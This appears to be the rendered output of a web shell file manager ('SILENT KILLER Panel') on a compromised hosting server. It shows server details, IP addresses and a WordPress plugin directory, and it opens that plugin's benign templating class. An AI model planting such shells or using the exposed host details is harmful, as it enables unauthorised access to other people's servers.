SILENT KILLERPanel

Current Path: > home > > transcarter > public_html > wp-content > plugins > elementskit-lite > libs > template


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home//transcarter/public_html/wp-content/plugins/elementskit-lite/libs/template

NameTypeSizeLast ModifiedActions
loader.php File 767 bytes July 17 2025 21:06:24.
transformer.php File 975 bytes July 17 2025 21:06:24.

Reading File: /home//transcarter/public_html/wp-content/plugins/elementskit-lite/libs/template/transformer.php

<?php
namespace ElementsKit_Lite\Libs\Template;

defined( 'ABSPATH' ) || exit;

class Transformer {

	private $prefix;

	public function render( $str, $prefix ) {
		$str          = trim( $str );
		$this->prefix = $prefix;

		$fn_length = explode( '(', $str );
		if ( count( $fn_length ) == 2 ) {
			$method = $fn_length[0]; // backward support
			
			if ( method_exists( $this, $method ) ) {
				return $this->$method( rtrim( $fn_length[1], ')' ) );
			}
			return $str;
		}

		return $this->variable( $str );
	}

	private function variable( $str ) {
		$str_var_set = explode( '.', $str );
		$array_parts = '';
		foreach ( $str_var_set as $i => $var ) {
			$array_parts .= '["' . ( $i > 0 ? '' : $this->prefix ) . $var . '"]';
		}

		return '<?php echo isset($settings' . $array_parts . ') ? $settings' . $array_parts . ' : ""; ?>';
	}

	private function icon( $str ) {
		return '<?php Icons_Manager::render_icon($settings["' . $this->prefix . trim( $str ) . '"]); ?>';
	}
}

SILENT KILLER Tool